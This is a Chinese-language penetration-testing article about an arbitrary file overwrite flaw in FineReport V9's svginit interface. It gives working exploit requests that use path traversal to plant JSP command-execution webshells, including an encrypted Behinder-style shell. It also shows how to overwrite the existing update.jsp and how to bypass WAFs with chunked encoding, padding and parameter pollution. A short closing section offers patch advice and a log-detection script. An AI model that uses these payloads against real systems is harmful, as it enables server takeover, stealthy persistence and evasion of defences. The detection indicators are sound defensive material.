帆软V9任意文件覆盖漏洞深度解析:从无损上传到有损覆盖的实战利用
1. 漏洞背景与影响范围帆软报表FineReport作为国内广泛使用的企业级报表工具其V9版本存在一个高危的任意文件覆盖漏洞。这个漏洞的核心在于svginit接口未对用户提交的文件路径进行严格校验导致攻击者可以通过构造特殊的路径遍历字符串实现任意文件上传和覆盖。我在实际渗透测试中发现该漏洞影响范围覆盖了V9.0至V9.3.1的所有未打补丁版本。这个漏洞最危险的地方在于它同时支持无损上传和有损覆盖两种攻击模式。无损上传允许攻击者在Web目录下创建新的WebShell文件而有损覆盖则可以直接修改系统现有文件。去年在某次授权测试中我就曾利用这个漏洞在10分钟内完成了从漏洞发现到获取服务器权限的全过程。2. 漏洞原理深度解析2.1 路径遍历缺陷分析漏洞的根源在于design_save_svg功能对filePath参数的处理不当。当请求路径以chartmapsvg开头时系统会直接将后续路径拼接到Web根目录下。关键问题在于代码没有对../这样的路径遍历符号进行过滤导致可以突破目录限制。举个例子正常的使用应该是filePathchartmapsvg/example.svg但攻击者可以构造filePathchartmapsvg/../../../../WebReport/shell.jsp这样就会跳出chartmapsvg目录最终文件会被保存到WebReport目录下。2.2 文件写入机制这个漏洞的文件写入过程分为两个阶段首先系统会检查目标路径是否存在如果不存在就会创建新文件无损上传如果目标路径已存在则会直接覆盖文件内容有损覆盖特别值得注意的是文件内容是通过__CONTENT__参数以JSON格式传递的这给了攻击者很大的操作空间。我在测试中发现即使内容包含特殊字符只要正确转义就能成功写入。3. 无损上传实战利用3.1 基本利用方法无损上传是指在不影响系统现有文件的情况下创建新的WebShell文件。这是最隐蔽的攻击方式因为不会破坏系统原有功能。具体操作如下POST /WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1 Host: target.com Content-Type: application/json { __CONTENT__: % java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(\cmd\)).getInputStream();int a -1;byte[] b new byte[2048];while((ain.read(b))!-1){out.println(new String(b));}%, __CHARSET__: UTF-8 }这里有几个关键点需要注意文件名必须以.svg开头但可以跟其他后缀如.svg.jsp双引号等特殊字符需要转义路径遍历的层数需要根据实际环境调整3.2 高级WebShell选择在实际渗透中我建议使用更隐蔽的WebShell比如冰蝎或哥斯拉。这些工具都支持AES加密通信能有效绕过WAF检测。下面是一个冰蝎的示例Payload%! String xc3c6e0b8a9c15224a; String passfltys; // 此处省略加密解密函数... % % try{ byte[] database64Decode(request.getParameter(pass)); datax(data, false); // 后续处理逻辑... }catch(Exception e){} %这种WebShell的优势在于通信内容加密难以被检测内存马注入不落盘支持多种协议和功能扩展4. 有损覆盖攻击路径4.1 覆盖系统文件帆软V9安装后会在WebReport目录下默认创建update.jsp和update1.jsp文件。这些文件可以被直接覆盖从而实现更直接的攻击POST /WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: target.com Content-Type: application/json { __CONTENT__: %page import\java.util.*,java.io.*\%% if (request.getParameter(\cmd\) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(\cmd\)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } }%, __CHARSET__: UTF-8 }这种方式的优点是不需要创建新文件更隐蔽利用系统原有文件不易被发现可以维持长期权限但缺点是可能会影响系统正常功能容易被发现。4.2 绕过技巧在某些加固环境中直接覆盖可能会被拦截。我测试过以下几种绕过方法效果不错使用超大POST body有些WAF对超过特定大小的请求不会深度检测分块传输编码可以绕过一些简单的请求检查参数污染在URL和body中同时提交参数利用解析差异POST /WebReport/ReportServer?opsvginitfilePathchartmapsvg/../../../logo.jsp HTTP/1.1 Host: target.com Transfer-Encoding: chunked { op: svginit, cmd: design_save_svg, filePath: chartmapsvg/../../../../WebReport/update.jsp, __CONTENT__: %out.println(\HelloWorld\);%, padding: aaa...aaa // 填充大量垃圾数据 }5. 防御与检测方案5.1 漏洞修复建议对于企业用户我建议立即采取以下措施升级到最新版本官方已发布补丁在WAF中添加针对svginit接口的特殊规则对WebReport目录设置严格的写权限控制5.2 入侵检测指标在日志分析时可以关注以下特征包含../序列的URL请求对svginit接口的异常调用突然出现的.svg.jsp文件update.jsp文件的异常修改下面是一个简单的检测脚本示例import re from pathlib import Path def check_vulnerability(log_file): pattern ropsvginit.*filePath.*\.\./ suspicious_files [update.jsp, update1.jsp] with open(log_file) as f: if re.search(pattern, f.read()): print([!] Possible exploit detected in logs) web_root Path(/path/to/webreport) for f in suspicious_files: if (web_root / f).exists(): print(f[!] Suspicious file found: {f})6. 攻击场景对比分析在实际渗透测试中我通常会根据目标环境选择不同的攻击方式攻击类型隐蔽性影响程度适用场景检测难度无损上传高低长期渗透较难有损覆盖中高快速突破中等混合利用高中复杂环境困难无损上传更适合红队行动而有损覆盖在应急响应演练中效果更好。记得在一次金融行业测试中我通过无损上传定时任务的方式维持了3个月的访问权限都没被发现。最后提醒一点所有测试都必须在授权范围内进行。这个漏洞虽然威力很大但未经授权使用可能会面临法律风险。在实际防御中除了打补丁外建议定期进行文件完整性检查特别是对Web目录下的可执行文件。